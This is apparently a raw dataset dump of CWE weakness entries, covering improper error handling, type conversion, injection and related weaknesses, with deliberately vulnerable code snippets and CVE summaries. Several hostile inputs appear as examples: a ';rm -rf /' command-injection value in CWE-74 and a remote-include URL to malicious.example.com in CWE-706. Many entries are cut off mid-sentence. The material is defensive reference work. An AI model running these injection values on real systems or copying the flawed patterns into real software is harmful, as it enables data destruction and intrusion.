deardaniel/secdata-raw huggingface dataset:
CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Description:
The default error page of a web application should not display sensitive information about the product.

Extended Description:
A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response. 
             When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

Affected languages: Java
Affected technologies: Web Based, Web Server
Parent weaknesses: CWE-756

Consequences:
  - Confidentiality: Read Application Data

Mitigations:
  - [Implementation] Handle exceptions appropriately in source code.
  - [Implementation] Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security pract
  - [Implementation] Do not attempt to process an error or attempt to mask it.
  - [Implementation] Verify return values are correct and do not supply sensitive information about the system.

Demonstrative examples:
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ... } catch (ApplicationSpecificException ase) { logger.error("Caught: " + ase.toString()); } }
CWE-703: Improper Check or Handling of Exceptional Conditions

Description:
The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific

Consequences:
  - Confidentiality: Read Application Data

Detection methods:
  - Dynamic Analysis with Manual Results Interpretation: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Highly cost effective: 
                         
                           
  - Manual Static Analysis - Source Code: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Highly cost effective: 
                         
                           
  - Automated Static Analysis - Source Code: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Cost effective for partial coverage: 
                         
             
  - Architecture or Design Review: According to SOAR [REF-1479], the following detection techniques may be useful: 
                   
                      Highly cost effective: 
                         
                           

Demonstrative examples:
Consider the following code segment:
The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().
char buf[10], cp_buf[10]; fgets(buf, 10, stdin); strcpy(cp_buf, buf);

The following method throws three types of exceptions.
While it might seem tidier to write
public void doExchange() throws IOException, InvocationTargetException, SQLException { ... }
public void doExchange() throws Exception { ... }

Real-world examples:
  - [REF-1374]: Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generat
  - CVE-2022-22224: Chain: an operating system does not properly process malformed Open Shortest Path First (OSPF) Type/Length/Value Identifiers (TLV) (CWE-703), which can cause the process to enter an infinite loop (CWE
CWE-704: Incorrect Type Conversion or Cast

Description:
The product does not correctly convert an object, resource, or structure from one type to a different type.

Affected languages: C, C++, Not Language-Specific, Memory-Unsafe
Affected technologies: Not Technology-Specific
Parent weaknesses: CWE-664

Consequences:
  - Other: Other

Detection methods:
  - Fuzzing: Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with rand

Demonstrative examples:
In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.
If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.
unsigned int readdata () { int amount = 0; ... amount = accessmainframe(); ... return amount; }

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.
The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.
#define NAME_TYPE 1 #define ID_TYPE 2 
                 struct MessageBuffer { int msgType; union { char *name; int nameID; }; }; 
                 
                 int main (int argc, char **argv) { 
                 struct MessageBuffer buf; char *defaultMessage = "Hello World"; 
                 buf.msgType = NAME_TYPE; buf.name = defaultMessage; printf("Pointer of b

Real-world examples:
  - CVE-2021-43537: Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cau
  - CVE-2022-3979: Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conver
CWE-705: Incorrect Control Flow Scoping

Description:
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-691

Consequences:
  - Other: Alter Execution Logic

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Demonstrative examples:
The following example attempts to resolve a hostname.
A DNS lookup failure will cause the Servlet to throw an exception.
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException { String ip = req.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); ... out.println("hello " + addr.getHostName()); }

This code queries a server and displays its status when a request comes from an authorized IP address.
This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).
$requestingIP = $_SERVER['REMOTE_ADDR']; if(!in_array($requestingIP,$ipAllowList)){ echo "You are not authorized to view this page"; http_redirect($errorPageURL); } $status = getServerStatus(); echo $status; 
                      ...

Real-world examples:
  - CVE-2023-21087: Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception
  - CVE-2014-1266: Chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-56
CWE-706: Use of Incorrectly-Resolved Name or Reference

Description:
The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific
Parent weaknesses: CWE-664

Consequences:
  - Confidentiality: Read Application Data

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Demonstrative examples:
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:
$dir = $_GET['module_name']; include($dir . "/function.php");
victim.php?module_name=http://malicious.example.com

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.
However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scena
CWE-707: Improper Neutralization

Description:
The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

Extended Description:
If a message is malformed, it may cause the message to be incorrectly interpreted. 
             Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe."  This can be done by: 
	     
	       checking that the input/output is already "safe" (e.g. validation) 
	       transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization 
	       preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values) 
	       preventing the input/output from being processed at all 
	     
             This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific

Consequences:
  - Other: Other

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin
CWE-708: Incorrect Ownership Assignment

Description:
The product assigns an owner to a resource, but the owner is outside of the intended control sphere.

Extended Description:
This may allow the resource to be manipulated by actors outside of the intended control sphere.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-282

Consequences:
  - Confidentiality: Read Application Data

Detection methods:
  - Automated Analysis: Use automated tools to check for privilege settings.

Mitigations:
  - [Policy] Periodically review the privileges and their owners.

Real-world examples:
  - CVE-2024-43199: product installs binaries with potentially insecure user/group ownership
  - CVE-2007-5101: File system sets wrong ownership and group when creating a new file.
  - CVE-2007-4238: OS installs program with bin owner/group, allowing modification.
  - CVE-2007-1716: Manager does not properly restore ownership of a reusable resource when a user logs out, allowing privilege escalation.
  - CVE-2005-3148: Backup software restores symbolic links with incorrect uid/gid.
CWE-710: Improper Adherence to Coding Standards

Description:
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Affected languages: Not Language-Specific
Affected technologies: Not Technology-Specific

Consequences:
  - Other: Other

Detection methods:
  - Automated Static Analysis: Automated tools can detect violations of many code standards.

Mitigations:
  - [Policy] Select and require coding
               standards. Ensure that they include security
               concerns.
  - [Implementation] Closely follow coding standards, possibly
               enforcing them upon checkin of the code into a source
               control system or with periodic analyses.
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Description:
The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description:
If the product chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the product may take unexpected actions. Further, if the product intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-66

Consequences:
  - Confidentiality: Read Files or Directories

Demonstrative examples:
Consider a web server that uses the Apple
               HFS+ file system. It interprets FILE.cgi as processing
               instructions.
An adversary could request
			   "FILE.cgi/..namedfork/data" to prevent FILE.cgi from
			   being executed, instead disclosing the source code for
			   FILE.cgi. This might occur because the web server
			   invokes the default handler which may return the
			   contents of the file.

Real-world examples:
  - CVE-2004-1084: Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Description:
The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

Affected languages: C, C++, Compiled
Parent weaknesses: CWE-1038

Consequences:
  - Access Control: Bypass Protection Mechanism

Detection methods:
  - Black Box: This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successfu
  - White Box: This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative examples:
The following code reads a password from the
              user, uses the password to connect to a back-end
              mainframe, and then attempts to scrub the password from
              memory using memset().
The code in the example will behave
               correctly if it is executed verbatim, but if the code
               is compiled using an optimizing compiler, then the call to
               memset() might be removed as a dead store, because the
               buffer pwd is not used after its value is overwritten.
               Because the buffer pwd contains a sensitive
               value, the application may be vulnerable to attack if
               the data are left memory resident. If attackers are
               able to access the correct region of memory, they may
  

Real-world examples:
  - CVE-2008-1685: C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.
  - CVE-2[PII_REDACTED]: Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Description:
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-707

Consequences:
  - Confidentiality: Read Application Data
  - Access Control: Bypass Protection Mechanism
  - Other: Alter Execution Logic
  - Integrity: Other
  - Non-Repudiation: Hide Activities

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Mitigations:
  - [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
  - [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

Demonstrative examples:
This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.
The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:
$userName = $_POST["user"]; $command = 'ls -l /home/' . $userName; system($command);
;rm -rf /

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.
Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:
String author = request.getParameter(AUTHOR_PARAM); ... Cookie cookie = new Cookie("author", author); cookie.setMaxAge(cookieExpiration); response.addCookie(cookie);
HTTP/1.1 200 OK ... Set-Cookie: author=Jane Smith ...

Real-world examples:
  - CVE-2024-5184: API service using a large generative AI model allows direct prompt injection to leak hard-coded system prompts or execute other prompts.
  - CVE-2022-36069: Python-based dependency management tool avoids OS command injection  when generating Git commands but allows  injection of optional arguments with input beginning with a dash (CWE-88), potentially all
  - CVE-1999-0067: Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.
  - CVE-2022-1509: injection of sed script syntax ("sed injection")
  - CVE-2020-9054: Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)

Description:
The product does not adequately filter user-controlled input for special elements with control implications.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-74

Consequences:
  - Integrity: Modify Application Data

Mitigations:
  - [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
  - [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter special element syntax from all input.
CWE-755: Improper Handling of Exceptional Conditions

Description:
The product does not handle or incorrectly handles an exceptional condition.

Affected languages: Not Language-Specific
Parent weaknesses: CWE-703

Consequences:
  - Other: Other

Detection methods:
  - Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without havin

Demonstrative examples:
The following example attempts to resolve a hostname.
A DNS lookup failure will cause the Servlet to throw an exception.
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException { String ip = req.getRemoteAddr(); InetAddress addr = InetAddress.getByName(ip); ... out.println("hello " + addr.getHostName()); }

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.
The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed if (foo==NULL) { //We do nothing so we just ignore the error. }
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed if (foo==NULL) { printf("Malloc failed to allocate memory resources"); return -1; }

Real-world examples:
  - CVE-2023-41151: SDK for OPC Unified Architecture (OPC UA) server has uncaught exception when a socket is blocked for writing but the server tries to send an error
  - [REF-1374]: Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generat
  - CVE-2021-3011: virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code
  - CVE-2008-4302: Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.